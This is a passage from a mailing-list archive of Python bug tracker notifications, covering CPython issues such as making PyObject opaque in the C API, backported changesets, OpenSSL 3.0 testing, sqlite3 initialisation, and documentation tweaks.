This experience doesn't check usage of sizeof(PyObject) and sizeof(PyVarObject) which would break if these structures become opaque. sizeof() issues are listed in previous comments.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:14:01 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 16:14:01 +0000
Subject: [issue39573] [C API] Make PyObject an opaque structure in the limited
 C API
In-Reply-To: <1581030432.16.0.48160379721.issue39573@roundup.psfhosted.org>
Message-ID: <1631117641.32.0.478239809727.issue39573@roundup.psfhosted.org>


STINNER Victor  added the comment:

Oh and obviously, it's not possible possible to define structures which *include* PyObject or PyVarObject if PyObject and PyVarObject become opaque. Example:

typedef struct {
    PyObject ob_base;
    Py_ssize_t ob_size; /* Number of items in variable part */
} PyVarObject;

This C code requires the PyObject structure to be fully defined (not being opaque).

A new C API and ABI where structures *don't* include PyObject or PyVarObject should be designed to allocate their members "before" the PyObject* pointer value. Something like the current PyGC_Head structure which is excluded from PyObject and stored *before* the "PyObject*" pointer.

Simplified code which allocates memory for an object implementin the GC protocol:

static PyObject *
_PyObject_GC_Malloc(size_t basicsize)
{
    ...
    size_t size = sizeof(PyGC_Head) + basicsize;
    ...
    PyGC_Head *g = (PyGC_Head *)PyObject_Malloc(size);
    ...
    PyObject *op = (PyObject *)(g + 1);
    return op;
}

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:25:17 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 16:25:17 +0000
Subject: [issue45056] compiler: Unnecessary None in co_consts
In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org>
Message-ID: <1631118317.84.0.945592631933.issue45056@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset d41abe8970453716dbc6a3a898ac8fb01cbf6c6f by ?ukasz Langa in branch '3.10':
[3.10] bpo-45056: Remove trailing unused constants from co_consts (GH-28109) (GH-28125)
https://github.com/python/cpython/commit/d41abe8970453716dbc6a3a898ac8fb01cbf6c6f


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:26:11 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 16:26:11 +0000
Subject: [issue45056] compiler: Unnecessary None in co_consts
In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org>
Message-ID: <1631118371.93.0.34683698398.issue45056@roundup.psfhosted.org>


?ukasz Langa  added the comment:

It goes to 3.10.1 then. Fixed!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:32:26 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 16:32:26 +0000
Subject: [issue45083] Need to use the exception class qualname when rendering
 exception (in C code)
In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org>
Message-ID: <1631118746.24.0.0780566779656.issue45083@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 6b996d61c96222d959d043b9424e8125c0efbb27 by Miss Islington (bot) in branch '3.10':
[3.10] bpo-45083: Include the exception class qualname when formatting an exception (GH-28119) (GH-28134)
https://github.com/python/cpython/commit/6b996d61c96222d959d043b9424e8125c0efbb27


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:32:15 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 16:32:15 +0000
Subject: [issue39573] [C API] Avoid accessing PyObject and PyVarObject members
 directly: add Py_SET_TYPE() and Py_IS_TYPE(),
 disallow Py_TYPE(obj)=type
In-Reply-To: <1581030432.16.0.48160379721.issue39573@roundup.psfhosted.org>
Message-ID: <1631118735.88.0.532274653046.issue39573@roundup.psfhosted.org>


STINNER Victor  added the comment:

I changed the issue title to restrict its scope: "[C API] Avoid accessing PyObject and PyVarObject members directly: add Py_SET_TYPE() and Py_IS_TYPE(), disallow Py_TYPE(obj)=type".

Making PyObject and PyVarObject structures opaque is a broader topic which should be splited into sub-issues.

"Py_TYPE(obj)=type;" is now disallowed. I consider that the work of this issue is now completed and I close the issue.

Thanks everyone who help to fix these tedious issues!

You can continue to use this issue if you need my help to adapt your C extensions to Py_SET_TYPE()/Py_SET_SIZE().

See also the upgrade_pythoncapi.py script of the pythoncapi_compat project which helps to port your C extensions without losing support for old Python versions:
https://github.com/pythoncapi/pythoncapi_compat

See also the Py_TYPE() change announcement on the capi-sig list:
https://mail.python.org/archives/list/capi-sig at python.org/thread/WGRLTHTHC32DQTACPPX36TPR2GLJAFRB/

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
title: [C API] Make PyObject an opaque structure in the limited C API -> [C API] Avoid accessing PyObject and PyVarObject members directly: add Py_SET_TYPE() and Py_IS_TYPE(), disallow Py_TYPE(obj)=type
versions: +Python 3.11 -Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:33:01 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 16:33:01 +0000
Subject: [issue45083] Need to use the exception class qualname when rendering
 exception (in C code)
In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org>
Message-ID: <1631118781.1.0.195164507437.issue45083@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Thanks, Irit! ? ? ?

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:33:15 2021
From: report at bugs.python.org (Vincent Michel)
Date: Wed, 08 Sep 2021 16:33:15 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631118795.42.0.803558620084.issue44219@roundup.psfhosted.org>


Vincent Michel  added the comment:

Here's a possible patch that fixes the 3 unprotected calls to `isatty` mentioned above. It successfully passes the test suite. I can submit a PR with this patch if necessary.

----------
keywords: +patch
Added file: https://bugs.python.org/file50270/bpo-44219.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:34:22 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 16:34:22 +0000
Subject: [issue45083] Need to use the exception class qualname when rendering
 exception (in C code)
In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org>
Message-ID: <1631118862.23.0.88450954822.issue45083@roundup.psfhosted.org>


STINNER Victor  added the comment:

> New changeset 6b996d61c96222d959d043b9424e8125c0efbb27 by Miss Islington (bot) in branch '3.10':

Pablo wrote that new changes in the 3.10 branch will only land in 3.10.1. It means that Python 3.10.0 and 3.10.1 will produce different exception messages. It is going to be an issue, no?

You should either ask for an exception to Pablo, or revert the change.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:58:14 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 16:58:14 +0000
Subject: [issue41082] Error handling and documentation of Path.home()
In-Reply-To: <1592860421.93.0.490449762565.issue41082@roundup.psfhosted.org>
Message-ID: <1631120294.52.0.816170788039.issue41082@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Using `os.path.expanduser` is a functional change so it wasn't backported at the time to 3.9 and sure shouldn't be backported now. Going with a doc update is the right approach.

----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:58:50 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 16:58:50 +0000
Subject: [issue45129] Remove deprecated reuse_address parameter from
 create_datagram_endpoint()
In-Reply-To: <1631025406.86.0.884993515985.issue45129@roundup.psfhosted.org>
Message-ID: <1631120330.79.0.987140603206.issue45129@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 59ea704df7a2fae4559e1e04f7a59d6c40f63657 by Hugo van Kemenade in branch 'main':
bpo-45129 Remove deprecated reuse_address (GH-28207)
https://github.com/python/cpython/commit/59ea704df7a2fae4559e1e04f7a59d6c40f63657


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 12:59:44 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 16:59:44 +0000
Subject: [issue45129] Remove deprecated reuse_address parameter from
 create_datagram_endpoint()
In-Reply-To: <1631025406.86.0.884993515985.issue45129@roundup.psfhosted.org>
Message-ID: <1631120384.67.0.690682162111.issue45129@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Thanks, Hugo! ? ? ?

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:01:38 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 17:01:38 +0000
Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0
In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org>
Message-ID: <1631120498.22.0.988667352378.issue38820@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 7a6178a7cd8514911e9480f826838dc789fb8655 by ?ukasz Langa in branch '3.9':
[3.9] bpo-38820: Test with OpenSSL 3.0.0 final (GH-28205) (GH-28217)
https://github.com/python/cpython/commit/7a6178a7cd8514911e9480f826838dc789fb8655


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:03:22 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 17:03:22 +0000
Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0
In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org>
Message-ID: <1631120602.22.0.375659251782.issue38820@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Christian, Python is now tested with 3.0.0 final in 3.9, 3.10, and 3.11. Looks like we can close this!

Thank you for this big body of work ? ? ?

----------
versions: +Python 3.11 -Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:05:14 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 17:05:14 +0000
Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0
In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org>
Message-ID: <1631120714.51.0.764335926536.issue38820@roundup.psfhosted.org>


?ukasz Langa  added the comment:

(I'll let you close this yourself when you determine that the two remaining open dependencies can be closed as well.)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:17:47 2021
From: report at bugs.python.org (Jean Abou Samra)
Date: Wed, 08 Sep 2021 17:17:47 +0000
Subject: [issue45139] Simplify source links in documentation?
Message-ID: <1631121467.16.0.546303933319.issue45139@roundup.psfhosted.org>


New submission from Jean Abou Samra :

Currently, links to source code in the documentation look like this:

**Source code:** :source:`Lib/abc.py`

For documentation translators, this means that every module contains
a boilerplate string to translate. A small burden perhaps, but avoidable.
I propose to refactor the links in a directive, like so:

.. source:: Lib/abc.py

Then just the text "Source code:" gets translated (in sphinx.po) and
the rest is automatic. This could also benefit the presentation in
the future, if anyone wants to change the styling of these links.

Open question is how to handle the handful of links that contain several
source files (async I/O modules in particular). To make it language-agnostic,
perhaps the markup

.. source::
   Lib/asyncio/futures.py,
   Lib/asyncio/base_futures.py

could be rendered as if it were

**Source code:** :source:`Lib/asyncio/futures.py` | :source:`Lib/asyncio/base_futures.py`

Thoughts?

----------
assignee: docs at python
components: Documentation
messages: 401410
nosy: Jean_Abou_Samra, docs at python, mdk
priority: normal
severity: normal
status: open
title: Simplify source links in documentation?

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:23:18 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 17:23:18 +0000
Subject: [issue45026] More compact range iterator
In-Reply-To: <1630033413.29.0.592444888293.issue45026@roundup.psfhosted.org>
Message-ID: <1631121798.56.0.131956947974.issue45026@roundup.psfhosted.org>


?ukasz Langa  added the comment:

I like Dennis' idea and Serhiy's implementation in GH-28176. It's a bit of a larger change compared to GH-27986 but I think it's worth it: I expect iteration speed is more important than `len()` speed for range objects.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:24:17 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 17:24:17 +0000
Subject: [issue41082] Error handling and documentation of Path.home()
In-Reply-To: <1592860421.93.0.490449762565.issue41082@roundup.psfhosted.org>
Message-ID: <1631121857.9.0.174801629405.issue41082@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset dc2e11ed5a5a8083db1d8b5e2396c9238999568c by andrei kulakov in branch '3.9':
[3.9] bpo-41082: Add note on errors that may be raised by home() and expanduser() (GH-28186)
https://github.com/python/cpython/commit/dc2e11ed5a5a8083db1d8b5e2396c9238999568c


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:28:19 2021
From: report at bugs.python.org (Irit Katriel)
Date: Wed, 08 Sep 2021 17:28:19 +0000
Subject: [issue45083] Need to use the exception class qualname when rendering
 exception (in C code)
In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org>
Message-ID: <1631122099.12.0.150674164192.issue45083@roundup.psfhosted.org>


Irit Katriel  added the comment:

Pablo wanted to wait for 3.10.1, see https://github.com/python/cpython/pull/28134#issuecomment-912679271

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:28:49 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 17:28:49 +0000
Subject: [issue41082] Error handling and documentation of Path.home()
In-Reply-To: <1592860421.93.0.490449762565.issue41082@roundup.psfhosted.org>
Message-ID: <1631122129.9.0.542974774467.issue41082@roundup.psfhosted.org>


?ukasz Langa  added the comment:

Behavior is fixed in Python 3.10+. For Python 3.9 the docs are updated to list possible exceptions. Since this was reported with 3.9 in mind, I'm marking this one as wontfix.

Thanks for picking this up, Andrei! ? ? ?

----------
resolution:  -> wont fix
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:29:40 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Wed, 08 Sep 2021 17:29:40 +0000
Subject: [issue44340] Add support for building cpython with clang thin lto
In-Reply-To: <1623105491.02.0.949113840673.issue44340@roundup.psfhosted.org>
Message-ID: <1631122180.24.0.463535355642.issue44340@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 84ca5fcd31541929f0031e974a434b95d8e78aab by Dong-hee Na in branch 'main':
bpo-44340: Update whatsnews for ThinLTO (GH-28229)
https://github.com/python/cpython/commit/84ca5fcd31541929f0031e974a434b95d8e78aab


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:33:33 2021
From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=)
Date: Wed, 08 Sep 2021 17:33:33 +0000
Subject: [issue45136] test_sysconfig: test_user_similar() fails if
 sys.platlibdir is 'lib64'
In-Reply-To: <1631097989.84.0.629517715324.issue45136@roundup.psfhosted.org>
Message-ID: <1631122413.03.0.169401806636.issue45136@roundup.psfhosted.org>


Miro Hron?ok  added the comment:

Fix was proposed in https://github.com/python/cpython/pull/28235 but references the original bpi number.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:36:10 2021
From: report at bugs.python.org (Rebecca Wallander)
Date: Wed, 08 Sep 2021 17:36:10 +0000
Subject: [issue45140] strict_timestamps for PyZipFile
Message-ID: <1631122570.36.0.100472687583.issue45140@roundup.psfhosted.org>


New submission from Rebecca Wallander :

https://github.com/python/cpython/pull/8270

Above fix solved the problem with pre-1980 files for regular ZipFile, but I still have issues when using PyZipFile object.

https://docs.python.org/3.11/library/zipfile.html#pyzipfile-objects

I would be glad if `strict_timestamps` was added to PyZipFile as well.

The documentation of PyZipFile also states that PyZipFile has the same parameters as ZipFile with the addition of one extra. If this issue can't be fixed in code, at least the documentation should be updated to reflect this is not longer true.

----------
components: Library (Lib)
messages: 401417
nosy: sakcheen
priority: normal
severity: normal
status: open
title: strict_timestamps for PyZipFile
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 13:39:37 2021
From: report at bugs.python.org (Thomas Fischbacher)
Date: Wed, 08 Sep 2021 17:39:37 +0000
Subject: [issue45135] dataclasses.asdict() incorrectly calls __deepcopy__() on
 values.
In-Reply-To: <1631092721.82.0.0802849147398.issue45135@roundup.psfhosted.org>
Message-ID: <1631122777.04.0.339094752246.issue45135@roundup.psfhosted.org>


Thomas Fischbacher  added the comment:

The current behavior deviates from the documentation in a way that might evade tests and hence has the potential to cause production outages.

Is there a way to fix the documentation so that it correctly describes current behavior - without having to wait for a new release? Eliminating the risk in such a way would be highly appreciated.

In the longer run, there may be some value in having a differently named method (perhaps .as_dict()?) that basically returns
{k: v for k, v in self.__dict__.items()}, but without going through reflection? The current approach to recurse looks as if it were based on quite a few doubtful assumptions.

(Context: some style guides, such as Google's Python style guide,
limit the use of reflection in order to keep some overall undesirable processes in check: https://google.github.io/styleguide/pyguide.html#2191-definition)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 14:32:17 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 08 Sep 2021 18:32:17 +0000
Subject: [issue45026] More compact range iterator
In-Reply-To: <1630033413.29.0.592444888293.issue45026@roundup.psfhosted.org>
Message-ID: <1631125937.49.0.177588276489.issue45026@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

I have not benchmarked PR 28176 yet and do not know whether it have advantages over PR 27986 and how large. Slower __lenght_hint__ can make list(range(...)) slower for small ranges, but I do not know how small.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 14:41:53 2021
From: report at bugs.python.org (pacien)
Date: Wed, 08 Sep 2021 18:41:53 +0000
Subject: [issue45141] mailcap.getcaps() from given file(s)
Message-ID: <1631126513.06.0.552308747638.issue45141@roundup.psfhosted.org>


New submission from pacien :

Currently, `mailcap.getcaps()` can only be used to load mailcap dictionaries
from files located at some specific hard-coded paths.

It is however also desirable to use the mailcap parser to load files located
elsewhere.

An optional parameter could be added to this function to explicitly specify
the mailcap file(s) to read.

----------
components: email
messages: 401420
nosy: barry, pacien, r.david.murray
priority: normal
severity: normal
status: open
title: mailcap.getcaps() from given file(s)
type: enhancement

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 15:33:19 2021
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 08 Sep 2021 19:33:19 +0000
Subject: [issue40059] Provide a toml module in the standard library
In-Reply-To: <1585119261.47.0.818238682424.issue40059@roundup.psfhosted.org>
Message-ID: <1631129599.24.0.6471075043.issue40059@roundup.psfhosted.org>


Brett Cannon  added the comment:

No progress as I've been swamped with higher-priority things and the bigger discussion about how we want to manage the stdlib going forward has not started yet (once again, not had the time to start that).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 16:02:26 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 08 Sep 2021 20:02:26 +0000
Subject: [issue38371] Tkinter: deprecate the split() method
In-Reply-To: <1570203221.73.0.664458057352.issue38371@roundup.psfhosted.org>
Message-ID: <1631131346.92.0.0490545490571.issue38371@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset f235dd0784b92824565c4a4e72adc70fa3eab68f by Erlend Egeberg Aasland in branch 'main':
bpo-38371: Remove deprecated `tkinter` split() method (GH-28237)
https://github.com/python/cpython/commit/f235dd0784b92824565c4a4e72adc70fa3eab68f


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 16:40:27 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 20:40:27 +0000
Subject: [issue45138] [sqlite3] expand bound values in traced statements when
 possible
In-Reply-To: <1631109915.01.0.788685972139.issue45138@roundup.psfhosted.org>
Message-ID: <1631133627.71.0.260417815965.issue45138@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
title: [sqlite3] expand bound values in traced statements if possible -> [sqlite3] expand bound values in traced statements when possible

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 16:49:37 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 20:49:37 +0000
Subject: [issue42064] Convert sqlite3 to multi-phase initialisation (PEP 489)
In-Reply-To: <1602963425.44.0.576962569847.issue42064@roundup.psfhosted.org>
Message-ID: <1631134177.65.0.259513372613.issue42064@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

I did some experiments using the connection object as a "backref" in the callback context, but it seems that the GC does not play well with such ref circles; I ended up with a lot of ref leaks (yes, I modified the traverse and clear slots to visit and clear the backref).

Using the module object as a "backref", however, worked swell. It ends up being a much larger PR, though.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 16:59:19 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 20:59:19 +0000
Subject: [issue42064] Convert sqlite3 to multi-phase initialisation (PEP 489)
In-Reply-To: <1602963425.44.0.576962569847.issue42064@roundup.psfhosted.org>
Message-ID: <1631134759.56.0.900739020167.issue42064@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
pull_requests: +26661
pull_request: https://github.com/python/cpython/pull/28242

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 17:20:05 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Wed, 08 Sep 2021 21:20:05 +0000
Subject: [issue37529] Mimetype module duplicates
In-Reply-To: <1562680761.15.0.288138014947.issue37529@roundup.psfhosted.org>
Message-ID: <1631136005.35.0.878381628647.issue37529@roundup.psfhosted.org>


Change by Andrei Kulakov :


----------
keywords: +patch
pull_requests: +26662
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28243

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 17:27:43 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 08 Sep 2021 21:27:43 +0000
Subject: [issue45139] Simplify source links in documentation?
In-Reply-To: <1631121467.16.0.546303933319.issue45139@roundup.psfhosted.org>
Message-ID: <1631136463.15.0.380737923945.issue45139@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

ISTM that translating this fixed pattern is possibly one of the simplest things a translator will be asked to do, so there is very little payoff to making the change.  

For a person writing the docs, it is best to leave it as-is so that the wording and presentation is easily customized for a situation unique to a particular module.  This becomes a much more difficult task if we have to override logic in a PO file.

Thanks for the suggestion, but I am -1 on this change.   Let's not take something simple and introduce hard-to-override implicit behavior.

----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 17:28:34 2021
From: report at bugs.python.org (Andrei Kulakov)
Date: Wed, 08 Sep 2021 21:28:34 +0000
Subject: [issue37529] Mimetype module duplicates
In-Reply-To: <1562680761.15.0.288138014947.issue37529@roundup.psfhosted.org>
Message-ID: <1631136514.36.0.388889000494.issue37529@roundup.psfhosted.org>


Change by Andrei Kulakov :


----------
pull_requests: +26663
pull_request: https://github.com/python/cpython/pull/28244

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 17:29:40 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 08 Sep 2021 21:29:40 +0000
Subject: [issue45139] Docs: More surrounding text into the "source" directive
In-Reply-To: <1631121467.16.0.546303933319.issue45139@roundup.psfhosted.org>
Message-ID: <1631136580.22.0.174082901987.issue45139@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
title: Simplify source links in documentation? -> Docs: More surrounding text into the "source" directive
versions: +Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 17:51:31 2021
From: report at bugs.python.org (pacien)
Date: Wed, 08 Sep 2021 21:51:31 +0000
Subject: [issue45141] mailcap.getcaps() from given file(s)
In-Reply-To: <1631126513.06.0.552308747638.issue45141@roundup.psfhosted.org>
Message-ID: <1631137891.31.0.503009982732.issue45141@roundup.psfhosted.org>


Change by pacien :


----------
keywords: +patch
pull_requests: +26664
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28245

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 18:19:48 2021
From: report at bugs.python.org (Irit Katriel)
Date: Wed, 08 Sep 2021 22:19:48 +0000
Subject: [issue45017] move opcode-related logic from modulefinder to dis
In-Reply-To: <1629991523.03.0.713771310872.issue45017@roundup.psfhosted.org>
Message-ID: <1631139588.19.0.0303499970579.issue45017@roundup.psfhosted.org>


Change by Irit Katriel :


----------
keywords: +patch
pull_requests: +26666
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28246

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 19:00:24 2021
From: report at bugs.python.org (Joshua)
Date: Wed, 08 Sep 2021 23:00:24 +0000
Subject: [issue45142] Import error for Iterable in collections
Message-ID: <1631142024.27.0.823096064512.issue45142@roundup.psfhosted.org>


New submission from Joshua :

Traceback:
Traceback (most recent call last):
  File "/Users/user/PycharmProjects/phys2/main.py", line 5, in 
    from collections import Iterable
ImportError: cannot import name 'Iterable' from 'collections' (/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/collections/__init__.py)

Done using a venv based on python 3.10.0rc1 running on Darwin/MacOS. 

I am new to adding bugs so I don't quite know what information I can provide that could be of use other than that this issue persists in REPL.

----------
components: Library (Lib)
messages: 401425
nosy: Joshuah143
priority: normal
severity: normal
status: open
title: Import error for Iterable in collections
versions: Python 3.10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 19:02:31 2021
From: report at bugs.python.org (Hanu)
Date: Wed, 08 Sep 2021 23:02:31 +0000
Subject: [issue45143] ipaddress multicast v6 RFC documentation correction
Message-ID: <1631142151.61.0.977852423445.issue45143@roundup.psfhosted.org>


New submission from Hanu :

In the ipaddress library documentation related to multicast.
https://docs.python.org/3/library/ipaddress.html#ip-addresses

the is_multicast, refers to the v6 multicast RFC as 2373:
"is_multicast
True if the address is reserved for multicast use. See RFC 3171 (for IPv4) or RFC 2373 (for IPv6)."

Should that be referred to as RFC 2375 (for IPv6)? 
- RFC 2373 is "IP Version 6 Addressing Architecture"
- RFC 2375 is "IPv6 Multicast Address Assignments"

Also for IPv4, the multicast is referred to RFC 3171, which is obsoleted by RFC 5771 (IPv4 Multicast Address Assignments)

----------
messages: 401426
nosy: hanugit
priority: normal
severity: normal
status: open
title: ipaddress multicast v6 RFC documentation correction
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 19:08:42 2021
From: report at bugs.python.org (Joshua)
Date: Wed, 08 Sep 2021 23:08:42 +0000
Subject: [issue45142] Import error for Iterable in collections
In-Reply-To: <1631142024.27.0.823096064512.issue45142@roundup.psfhosted.org>
Message-ID: <1631142522.16.0.565150386994.issue45142@roundup.psfhosted.org>


Joshua  added the comment:

Update: I'm just dumb, should have used "from collections.abc import Iterable"

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 20:11:09 2021
From: report at bugs.python.org (Diego Ramirez)
Date: Thu, 09 Sep 2021 00:11:09 +0000
Subject: [issue42064] Convert sqlite3 to multi-phase initialisation (PEP 489)
In-Reply-To: <1602963425.44.0.576962569847.issue42064@roundup.psfhosted.org>
Message-ID: <1631146269.33.0.511664279492.issue42064@roundup.psfhosted.org>


Change by Diego Ramirez :


----------
nosy: +DiddiLeija

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 20:19:04 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 00:19:04 +0000
Subject: [issue45144] Use subtests in test_peepholer
Message-ID: <1631146744.41.0.0401812311167.issue45144@roundup.psfhosted.org>


New submission from Irit Katriel :

test_peepholer has many tests that loop over test cases. Identifying them as subtests will make them easier to work with when something breaks.

----------
components: Tests
messages: 401428
nosy: iritkatriel
priority: normal
severity: normal
status: open
title: Use subtests in test_peepholer
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 20:21:17 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 00:21:17 +0000
Subject: [issue45144] Use subtests in test_peepholer
In-Reply-To: <1631146744.41.0.0401812311167.issue45144@roundup.psfhosted.org>
Message-ID: <1631146877.31.0.245843001346.issue45144@roundup.psfhosted.org>


Change by Irit Katriel :


----------
keywords: +patch
pull_requests: +26667
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28247

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 20:39:40 2021
